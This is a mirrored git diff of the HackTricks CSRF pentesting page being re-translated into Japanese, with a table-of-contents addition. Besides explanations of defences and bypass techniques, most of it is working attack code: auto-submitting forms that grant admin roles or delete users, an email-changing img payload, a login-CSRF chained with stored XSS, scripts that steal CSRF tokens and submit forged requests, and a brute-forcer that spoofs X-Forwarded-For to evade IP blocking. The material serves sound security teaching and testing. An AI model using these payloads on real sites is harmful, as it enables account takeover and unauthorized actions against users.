mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']
This commit is contained in:
parent
655f889811
commit
cb85236399
@ -487,6 +487,7 @@
|
||||
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
|
||||
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
|
||||
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
|
||||
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
|
||||
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
|
||||
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
|
||||
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
|
||||
|
@ -2,51 +2,58 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Cross-Site Request Forgery (CSRF) Explained
|
||||
## Cross-Site Request Forgery (CSRF) の説明
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。攻撃者は認証済みセッションを悪用して、ユーザーに気付かれないうちにそのユーザーの代わりに操作を行わせることができます。攻撃は、被害者のプラットフォームにログイン中のユーザーが悪意のあるサイトを訪れたときに実行され、そのサイトが JavaScript の実行、フォームの送信、画像の取得などで被害者アカウントへリクエストを送信します。
|
||||
**Cross-Site Request Forgery (CSRF)** は、ウェブアプリケーションに見られる一種のセキュリティ脆弱性です。これにより、攻撃者は認証済みセッションを悪用して、気づいていないユーザに代わって操作を実行できます。攻撃は、被害者のプラットフォームにログインしているユーザが悪意のあるサイトを訪れたときに実行されます。該当サイトは JavaScript の実行、フォームの送信、画像の取得などの方法で被害者アカウントへリクエストを送信します。
|
||||
|
||||
### Prerequisites for a CSRF Attack
|
||||
### CSRF攻撃の前提条件
|
||||
|
||||
CSRF 脆弱性を悪用するには、いくつかの条件が満たされている必要があります:
|
||||
CSRF脆弱性を悪用するには、いくつかの条件が満たされている必要があります:
|
||||
|
||||
1. **Identify a Valuable Action**: 攻撃者は、パスワードやメールの変更、権限昇格など、悪用価値のあるアクションを見つける必要があります。
|
||||
2. **Session Management**: ユーザーのセッションが cookies や HTTP Basic Authentication header のみで管理されている必要があります。他のヘッダはこの目的で操作できないためです。
|
||||
3. **Absence of Unpredictable Parameters**: リクエストに予測不可能なパラメータが含まれていると、攻撃が阻止される可能性があります。
|
||||
1. **価値のある操作を特定する**: 攻撃者は、パスワードやメールの変更、権限昇格など、悪用に値する操作を見つける必要があります。
|
||||
2. **セッション管理**: ユーザのセッションは cookies または HTTP Basic Authentication header のみで管理されている必要があります。他のヘッダはこの目的で操作できません。
|
||||
3. **予測不能なパラメータがないこと**: リクエストに予測不能なパラメータが含まれていると、攻撃を阻止する可能性があります。
|
||||
|
||||
### Quick Check
|
||||
### クイックチェック
|
||||
|
||||
Burp でリクエストをキャプチャして CSRF 保護を確認できます。ブラウザからテストするには、**Copy as fetch** をクリックしてリクエストを確認してください:
|
||||
リクエストを Burp でキャプチャして CSRF 保護を確認できますし、ブラウザからテストするには **Copy as fetch** をクリックしてリクエストを確認できます:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Defending Against CSRF
|
||||
### CSRFに対する防御
|
||||
|
||||
CSRF 攻撃から守るために実装できる対策はいくつかあります:
|
||||
CSRF攻撃を防ぐために、いくつかの対策を実装できます:
|
||||
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): この属性はブラウザがクロスサイトリクエストに対して cookies を送信するのを防ぎます。[More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): 被害者サイトの CORS ポリシーは、特に攻撃が被害者サイトのレスポンスを読む必要がある場合に攻撃の実現可能性に影響します。[Learn about CORS bypass](cors-bypass.md).
|
||||
- **User Verification**: ユーザーのパスワード再入力や captcha の提示により、ユーザーの意図を確認できます。
|
||||
- **Checking Referrer or Origin Headers**: これらのヘッダを検証することで、信頼できるソースからのリクエストかを判断できます。ただし、URL の巧妙な作り込みで不適切に実装されたチェックを回避できる場合があります。例:
|
||||
- `http://mal.net?orig=http://example.com`(URL が信頼された URL で終わる)
|
||||
- `http://example.com.mal.net`(URL が信頼された URL で始まる)
|
||||
- **Modifying Parameter Names**: POST や GET のパラメータ名を変更することで、自動化された攻撃を防ぐのに役立ちます。
|
||||
- **CSRF Tokens**: 各セッションに一意の CSRF トークンを組み込み、そのトークンを後続のリクエストで必須にすることで CSRF のリスクを大幅に軽減できます。CORS を併用するとトークンの有効性はさらに高まります。
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): この属性はブラウザがクロスサイトリクエストとともに cookies を送信するのを防ぎます。 [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): 被害者サイトの CORS ポリシーは、攻撃がレスポンスを読み取る必要がある場合など、攻撃の実現可能性に影響します。 [Learn about CORS bypass](cors-bypass.md).
|
||||
- **ユーザ検証**: ユーザのパスワード再入力や CAPTCHA の解答を要求することで、意図を確認できます。
|
||||
- **Referrer や Origin ヘッダの検証**: これらのヘッダを検証することで、リクエストが信頼できるソースから来ているか確認できます。しかし、URL を巧妙に作成することで不十分な実装は回避されることがあります。例えば:
|
||||
- `http://mal.net?orig=http://example.com`(URL が信頼された URL で終わる)
|
||||
- `http://example.com.mal.net`(URL が信頼された URL で始まる)
|
||||
- **パラメータ名の変更**: POST や GET のパラメータ名を変更することで、自動化された攻撃を防ぐのに役立つことがあります。
|
||||
- **CSRF トークン**: 各セッションに一意の CSRF トークンを組み込み、後続のリクエストでそのトークンを要求することで CSRF のリスクを大幅に軽減できます。トークンの有効性は CORS を適用することでさらに高められます。
|
||||
|
||||
これらの防御策を理解し実装することは、ウェブアプリケーションのセキュリティと完全性を維持する上で重要です。
|
||||
これらの防御を理解し実装することは、ウェブアプリケーションのセキュリティと整合性を維持するために重要です。
|
||||
|
||||
#### 防御の一般的な落とし穴
|
||||
|
||||
- SameSite の落とし穴: `SameSite=Lax` はリンクやフォームの GET のようなトップレベルのクロスサイトナビゲーションを許可するため、多くの GET ベースの CSRF は依然として可能です。cookie マトリックスは [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite) を参照してください。
|
||||
- ヘッダチェック: `Origin` が存在する場合はそれを検証してください。`Origin` と `Referer` の両方が存在しない場合は安全側に倒して拒否すべきです。`Referer` の部分一致や正規表現マッチに依存しないでください。類似ドメインや巧妙に作られた URL によって回避される可能性があります。また、`meta name="referrer" content="never"` による抑制トリックに注意してください。
|
||||
- メソッドオーバーライド: オーバーライドされたメソッド(`_method` や override ヘッダ)は状態変更とみなし、実効メソッドに対して CSRF を強制してください。単に POST のみを検査してはいけません。
|
||||
- ログインフロー: ログインにも CSRF 保護を適用してください。さもなければ、login CSRF により攻撃者管理下のアカウントへの強制再認証が可能になり、stored XSS と連鎖する恐れがあります。
|
||||
|
||||
## Defences Bypass
|
||||
|
||||
### From POST to GET (method-conditioned CSRF validation bypass)
|
||||
|
||||
一部のアプリケーションは POST に対してのみ CSRF 検証を強制し、他の HTTP メソッドではスキップすることがあります。PHP でよくあるアンチパターンは次のようになります:
|
||||
一部のアプリケーションは POST に対してのみ CSRF 検証を強制し、他の HTTP 動詞ではスキップすることがあります。PHP でよくあるアンチパターンは次のように見えます:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
脆弱なエンドポイントが $_REQUEST からのパラメータも受け付ける場合、同じアクションを GET リクエストとして再発行し、CSRF token を完全に省略できます。これにより、POST 専用のアクションを token なしで成功する GET アクションに変換できます。
|
||||
脆弱なエンドポイントが$_REQUESTからのパラメータも受け付ける場合、同じアクションをGETリクエストとして再実行し、CSRFトークンを完全に省略できます。これにより、POST専用のアクションがトークンなしで成功するGETアクションに変換されます。
|
||||
|
||||
Example:
|
||||
|
||||
@ -66,49 +73,89 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi
|
||||
```
|
||||
|
||||
Notes:
|
||||
- このパターンは、レスポンスが application/json ではなく誤って text/html として返される reflected XSS と一緒に現れることが多いです。
|
||||
- これを XSS と組み合わせると、脆弱なコードパスをトリガーしつつ CSRF チェックを完全に回避する単一の GET リンクを配布できるため、悪用のハードルが大幅に下がります。
|
||||
- このパターンは、応答がapplication/jsonではなく誤ってtext/htmlとして返されるreflected XSSと共に発生することが多い。
|
||||
- これをXSSと組み合わせると、単一のGETリンクで脆弱なコードパスをトリガーしつつCSRFチェックを完全に回避できるため、悪用のハードルが大幅に下がる。
|
||||
|
||||
### Lack of token
|
||||
### トークンの欠如
|
||||
|
||||
アプリケーションは、token が存在する場合にそれを **validate** する仕組みを実装していることがあります。しかし、token が欠落しているときに検証処理を完全にスキップしてしまうと脆弱性が発生します。攻撃者は token の値を変えるだけでなく、token を運んでいる parameter 自体を**削除する**ことでこれを悪用できます。これにより検証を回避し、Cross-Site Request Forgery (CSRF) を効果的に実行できます。
|
||||
アプリケーションは、トークンが存在する場合に**トークンを検証する**仕組みを実装していることがある。しかし、トークンが存在しない場合に検証が完全にスキップされると脆弱性が発生する。攻撃者は値そのものだけでなく、トークンを運ぶ**パラメータを削除する**ことでこれを悪用できる。これにより検証プロセスを回避し、効果的に Cross-Site Request Forgery (CSRF) 攻撃を実行できる。
|
||||
|
||||
### CSRF token is not tied to the user session
|
||||
さらに、一部の実装ではパラメータの存在だけを確認して内容を検証しないため、**空のトークン値が受け入れられる**ことがある。その場合は、`csrf=` を付けてリクエストを送るだけで十分である:
|
||||
```http
|
||||
POST /admin/users/role HTTP/2
|
||||
Host: example.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
CSRF tokens を user sessions に紐付けていないアプリケーションは重大な security risk を抱えています。これらのシステムは各トークンを発行元セッションに結び付けるのではなく、global pool に対して検証を行います。
|
||||
username=guest&role=admin&csrf=
|
||||
```
|
||||
最小限の自動送信 PoC(history.pushState を使ってナビゲーションを隠す):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="https://example.com/admin/users/role" method="POST">
|
||||
<input type="hidden" name="username" value="guest" />
|
||||
<input type="hidden" name="role" value="admin" />
|
||||
<input type="hidden" name="csrf" value="" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### CSRFトークンがユーザーセッションに紐付けられていない
|
||||
|
||||
攻撃者がこれを悪用する流れは次の通りです:
|
||||
アプリケーションが**CSRFトークンをユーザーセッションに紐付けていない**場合、重大な**セキュリティリスク**となります。これらのシステムは、各トークンが発行元セッションに紐付いていることを確認するのではなく、**グローバルなプール**に対してトークンを照合して検証します。
|
||||
|
||||
1. 自分のアカウントで認証する。
|
||||
2. global pool から有効な CSRF token を取得する。
|
||||
3. その token を被害者に対する CSRF 攻撃で使用する。
|
||||
攻撃者がこれを悪用する流れは次の通りです:
|
||||
|
||||
この脆弱性により、攻撃者は被害者になりすまして不正なリクエストを送信でき、アプリケーションの不十分な token validation 機構を悪用できます。
|
||||
1. 自分のアカウントで**認証**する。
|
||||
2. グローバルプールから**有効なCSRFトークンを取得**する。
|
||||
3. その**トークンを使用**して被害者に対するCSRF攻撃を行う。
|
||||
|
||||
この脆弱性により、攻撃者はアプリケーションの**不十分なトークン検証メカニズム**を突いて、被害者になりすまし不正なリクエストを行うことができます。
|
||||
|
||||
### Method bypass
|
||||
|
||||
リクエストが「変わった」method を使用している場合、method override 機能が動作しているか確認してください。例えば PUT を使っている場合、POST を使って以下のように送ることで試せます: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
リクエストが「**変な**」**method**を使用している場合、**method override** 機能が動作しているか確認してください。たとえば、**PUT/DELETE/PATCH** メソッドを使用している場合、**POST** を使ってオーバーライドを送信して試すことができます。例: `https://example.com/my/dear/api/val/num?_method=PUT`
|
||||
|
||||
これは、**\_method parameter を POST リクエスト内に含める**か、次のような headers を使って送ることでも動作する可能性があります:
|
||||
これは、**`_method` parameter inside a POST body** を送信するか、オーバーライド用の**headers**を使用することで動作することもあります:
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
- _X-Method-Override_
|
||||
- `X-HTTP-Method`
|
||||
- `X-HTTP-Method-Override`
|
||||
- `X-Method-Override`
|
||||
|
||||
### Custom header token bypass
|
||||
Laravel、Symfony、Express などのフレームワークでよく見られます。開発者はブラウザが非POST動詞を発行できないと仮定してCSRFを非POST動詞でスキップすることがありますが、オーバーライドを使えばPOST経由でそれらのハンドラに到達できる場合があります。
|
||||
|
||||
リクエストに CSRF protection method として **custom header** に **token** を追加している場合は、次を試してください:
|
||||
Example request and HTML PoC:
|
||||
```http
|
||||
POST /users/delete HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
- **Customized Token と header の両方を省いた**状態でリクエストをテストする。
|
||||
- 同じ長さだが異なる token を使ってリクエストをテストする。
|
||||
username=admin&_method=DELETE
|
||||
```
|
||||
|
||||
```html
|
||||
<form method="POST" action="/users/delete">
|
||||
<input name="username" value="admin">
|
||||
<input type="hidden" name="_method" value="DELETE">
|
||||
<button type="submit">Delete User</button>
|
||||
</form>
|
||||
```
|
||||
### カスタムヘッダー token のバイパス
|
||||
|
||||
リクエストが **custom header** で **token** を追加し、**CSRF protection method** としている場合は、次を試してください。
|
||||
|
||||
- リクエストを **Customized Token and also header.** なしでテストする。
|
||||
- 同じ長さだが別の **same length but different token** を使ってリクエストをテストする。
|
||||
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
アプリケーションは、token を cookie とリクエスト parameter の両方に複製するか、CSRF cookie をセットしてバックエンドで送信された token がその cookie に対応しているかを検証することで CSRF 保護を実装することがあります。アプリケーションは、リクエスト parameter の token が cookie の値と一致するかをチェックしてリクエストを検証します。
|
||||
アプリケーションは、token を cookie とリクエストパラメータの両方に複製するか、CSRF cookie を設定して、バックエンドに送られてきた token がその cookie と一致するかを検証することで、CSRF 保護を実装することがある。アプリケーションはリクエストパラメータ内の token が cookie の値と一致するかをチェックしてリクエストを検証する。
|
||||
|
||||
しかし、この方法は、攻撃者が被害者のブラウザに CSRF cookie を設定できてしまうような脆弱性(例: CRLF 脆弱性)があると CSRF 攻撃に対して脆弱になります。攻撃者は、まず不正な画像を読み込ませて cookie を設定させ、続けて CSRF 攻撃を開始することでこれを悪用できます。
|
||||
しかし、Webサイトに CRLF の脆弱性など、攻撃者が被害者のブラウザに CSRF cookie を設定できてしまう欠陥がある場合、この方法は CSRF 攻撃に対して脆弱になる。攻撃者は、cookie を設定するような偽の画像を読み込ませ、その後に CSRF 攻撃を開始することでこれを悪用できる。
|
||||
|
||||
以下は攻撃の構成例です:
|
||||
以下は攻撃の構成例です:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
@ -131,17 +178,17 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> 注意: **csrf token が session cookie に関連している場合、この攻撃は機能しません**。なぜなら被害者の session を設定する必要があり、その結果自分自身を攻撃することになるからです。
|
||||
> 注意: **csrf tokenがsession cookieに関連している場合、この攻撃は機能しません**。なぜなら、被害者にあなたの session を設定する必要があり、その結果自分自身を攻撃することになるからです。
|
||||
|
||||
### Content-Typeの変更
|
||||
### Content-Type の変更
|
||||
|
||||
According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **preflight を回避する** requests using **POST** method these are the allowed Content-Type values:
|
||||
According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
However, note that the **サーバのロジックは異なる場合があります** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
However, note that the **サーバーのロジックは異なる場合があります** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
|
||||
```html
|
||||
@ -162,23 +209,23 @@ form.submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### JSON データの preflight request の回避
|
||||
### JSONデータに対するプリフライトリクエストの回避
|
||||
|
||||
POST リクエストで JSON データを送信しようとする場合、HTML フォーム内で `Content-Type: application/json` を直接指定することはできません。同様に、`XMLHttpRequest` を使ってこの Content-Type を送ると preflight request が発生します。それでも、この制約を回避して、サーバが Content-Type に関係なく JSON データを処理するかを確認するための手法はいくつかあります:
|
||||
POSTリクエストでJSONデータを送信しようとする場合、HTMLフォームで `Content-Type: application/json` を直接使用することはできません。同様に、`XMLHttpRequest` でこの Content-Type を送信するとプリフライトリクエストが発生します。それでも、この制限を回避してサーバーが Content-Type に関係なく JSON データを処理するかどうかを確認するための方法がいくつかあります:
|
||||
|
||||
1. **代替 Content-Type を使用する**: フォームで `enctype="text/plain"` を設定し、`Content-Type: text/plain` または `Content-Type: application/x-www-form-urlencoded` を使用します。この方法はバックエンドが Content-Type に関係なくデータを使用するかをテストします。
|
||||
2. **Content-Type を修正する**: preflight request を発生させずにサーバが内容を JSON と認識するようにするために、データを `Content-Type: text/plain; application/json` で送信できます。これにより preflight request は発生しませんが、サーバが `application/json` を受け入れる設定になっていれば正しく処理される可能性があります。
|
||||
3. **SWF Flash ファイルの利用**: あまり一般的ではありませんが、SWF フラッシュファイルを用いてこれらの制限を回避する方法があります。この手法の詳細は [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) を参照してください。
|
||||
1. **Use Alternative Content Types**: フォームで `enctype="text/plain"` を設定して、`Content-Type: text/plain` や `Content-Type: application/x-www-form-urlencoded` を利用します。この方法でバックエンドが Content-Type に関係なくデータを利用するかをテストできます。
|
||||
2. **Modify Content Type**: プリフライトリクエストを回避しつつサーバーが内容を JSON と認識するようにするには、`Content-Type: text/plain; application/json` でデータを送信できます。これによりプリフライトは発生しませんが、サーバーが `application/json` を受け入れるよう構成されていれば正しく処理される可能性があります。
|
||||
3. **SWF Flash File Utilization**: より一般的ではありませんが実行可能な方法として、これらの制限を回避するために SWF flash ファイルを使用する手法があります。この手法の詳細については [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) を参照してください。
|
||||
|
||||
### Referrer / Origin チェック回避
|
||||
### Referrer / Origin チェックの回避
|
||||
|
||||
**Referrer ヘッダを避ける**
|
||||
**Referer ヘッダを送らせない**
|
||||
|
||||
アプリケーションは 'Referer' ヘッダが存在する場合にのみ検証することがあります。ブラウザがこのヘッダを送信しないようにするには、次の HTML meta タグを使用します:
|
||||
アプリケーションは 'Referer' ヘッダが存在する場合にのみ検証することがあります。ブラウザがこのヘッダを送信しないようにするには、次の HTML meta タグを使用できます:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
これにより 'Referer' ヘッダーが省略され、いくつかのアプリケーションでの検証チェックを潜在的に回避できます。
|
||||
これにより 'Referer' ヘッダーが省略され、一部のアプリケーションで検証チェックを回避できる可能性があります。
|
||||
|
||||
**Regexp bypasses**
|
||||
|
||||
@ -187,7 +234,7 @@ POST リクエストで JSON データを送信しようとする場合、HTML
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
パラメータ内に Referrer が送信する URL のサーバーのドメイン名を設定するには、次のようにします:
|
||||
Referrer がパラメータ内に送信する URL のサーバーのドメイン名を設定するには、次のようにします:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -218,23 +265,58 @@ document.forms[0].submit()
|
||||
```
|
||||
### **HEAD method bypass**
|
||||
|
||||
[**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) の最初の部分では、[Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) にあるように、ルーターが **handle HEAD requests as GET requests**(レスポンスボディなし)として設定されていると説明されています — これは Oak 固有のものではない一般的な回避策です。HEAD リクエスト専用のハンドラを用意する代わりに、単に **given to the GET handler but the app just removes the response body** という扱いになっています。
|
||||
The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **handle HEAD requests as GET requests** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **given to the GET handler but the app just removes the response body**.
|
||||
|
||||
したがって、GET リクエストが制限されている場合は、**GET として処理される HEAD リクエストを送信する**だけで済みます。
|
||||
したがって、もし GET リクエストが制限されている場合、単に **send a HEAD request that will be processed as a GET request** することで回避できます。
|
||||
|
||||
## **Exploit Examples**
|
||||
|
||||
### **CSRFトークンの持ち出し**
|
||||
### Stored CSRF via user-generated HTML
|
||||
|
||||
もし **CSRFトークン** が **防御** として使われている場合、[**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) の脆弱性や [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) の脆弱性を悪用してそれを **持ち出す** ことを試みることができます。
|
||||
rich-text editors や HTML injection が許可されている場合、脆弱な GET endpoint に対して受動的な fetch を永続化できます。コンテンツを閲覧したユーザーは、そのリクエストを自動的に自身の cookies とともに実行します。
|
||||
|
||||
### **GET using HTML tags**
|
||||
- If the app uses a global CSRF token that is not bound to the user session, the same token may work for all users, making stored CSRF reliable across victims.
|
||||
|
||||
読み込まれたときに閲覧者のメールを変更する最小の例:
|
||||
```html
|
||||
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
|
||||
```
|
||||
### Login CSRF を stored XSS と連鎖させる
|
||||
|
||||
単体の Login CSRF は影響が小さい場合があるが、authenticated な stored XSS と連鎖させると強力になる: 被害者を攻撃者制御のアカウントで認証させ、そのコンテキストで authenticated なページ上の stored XSS が実行されると tokens を盗んだり、session を乗っ取ったり、privileges を昇格させたりできる。
|
||||
|
||||
- login endpoint が CSRF-able(per-session token や origin check がない)で、user interaction gates によってブロックされないことを確認する。
|
||||
- 強制ログイン後、自動的に攻撃者の stored XSS ペイロードを含むページへ遷移させる。
|
||||
|
||||
Minimal login-CSRF PoC:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="https://example.com/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker@example.com" />
|
||||
<input type="hidden" name="password" value="StrongPass123!" />
|
||||
<input type="submit" value="Login" />
|
||||
</form>
|
||||
<script>
|
||||
history.pushState('', '', '/');
|
||||
document.forms[0].submit();
|
||||
// Optionally redirect to a page with stored XSS in the attacker account
|
||||
// location = 'https://example.com/app/inbox';
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **CSRF Tokenの抽出**
|
||||
|
||||
もし **CSRF Token** が **防御** として使われている場合、[**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) の脆弱性や [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) の脆弱性を悪用して **exfiltrate it** を試みることができます。
|
||||
|
||||
### **HTMLタグを使った GET**
|
||||
```xml
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
自動的にGETリクエストを送信するために使用できる他のHTML5タグは:
|
||||
GET リクエストを自動的に送信するために使用できるその他の HTML5 タグは次のとおりです:
|
||||
```html
|
||||
<iframe src="..."></iframe>
|
||||
<script src="..."></script>
|
||||
@ -263,7 +345,7 @@ background: url("...");
|
||||
</video>
|
||||
</audio>
|
||||
```
|
||||
### フォームの GET リクエスト
|
||||
### フォームによるGETリクエスト
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
@ -281,7 +363,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### フォームの POST リクエスト
|
||||
### フォームのPOSTリクエスト
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### iframe経由のフォームPOSTリクエスト
|
||||
### iframeを使ったフォームのPOSTリクエスト
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -332,7 +414,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Ajax POST リクエスト**
|
||||
### **Ajax POST request**
|
||||
```html
|
||||
<script>
|
||||
var xh
|
||||
@ -361,7 +443,7 @@ data: "param=value¶m2=value2",
|
||||
})
|
||||
</script>
|
||||
```
|
||||
### multipart/form-data POST リクエスト
|
||||
### multipart/form-data の POST リクエスト
|
||||
```javascript
|
||||
myFormData = new FormData()
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
|
||||
@ -374,7 +456,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
mode: "no-cors",
|
||||
})
|
||||
```
|
||||
### multipart/form-data POST リクエスト v2
|
||||
### multipart/form-data POST request v2
|
||||
```javascript
|
||||
// https://www.exploit-db.com/exploits/20009
|
||||
var fileSize = fileData.length,
|
||||
@ -402,7 +484,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### iframe内からのForm POSTリクエスト
|
||||
### iframe 内からの Form の POST リクエスト
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -426,7 +508,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **CSRF Tokenを盗み、POSTリクエストを送信する**
|
||||
### **CSRF Tokenを盗んでPOST requestを送信する**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **CSRF Tokenを窃取して、iframe、form、AjaxでPostリクエストを送信する**
|
||||
### **CSRF Tokenを盗み、iframe、form、Ajaxを使ってPostリクエストを送信する**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -501,7 +583,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **CSRF Tokenを盗んで、iframeとformを使ってPOSTリクエストを送信する**
|
||||
### **CSRF Tokenを盗み、iframeとformを使ってPOSTリクエストを送信する**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -534,7 +616,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **token を盗み、2つの iframes を使って送信する**
|
||||
### **token を盗み、2 iframes を使って送信する**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
@ -564,7 +646,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTSteal CSRF tokenをAjaxで取得し、フォームでPOSTを送信する**
|
||||
### **POSTSteal CSRF token を Ajax で取得し、form で post を送信する**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -595,7 +677,7 @@ document.getElementById("form").submit()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
### Socket.IOでのCSRF
|
||||
### Socket.IO を使った CSRF
|
||||
```html
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
@ -617,7 +699,7 @@ room: username,
|
||||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
このコードはCSRFトークンを使用してlogin formに対してBrut Forceを行うために使用できます(また、X-Forwarded-Forヘッダーを使用して、可能性のあるIPのblacklistingを回避しようとします):
|
||||
このコードはCSRFトークンを使用してログインフォームに対してBrut Forceを行うために使用できます(IPのブラックリストを回避しようとするために、ヘッダー X-Forwarded-For も使用しています):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -665,13 +747,20 @@ login(USER, line.strip())
|
||||
|
||||
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||||
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||||
- [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp)
|
||||
|
||||
## 参考
|
||||
## 参考資料
|
||||
|
||||
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
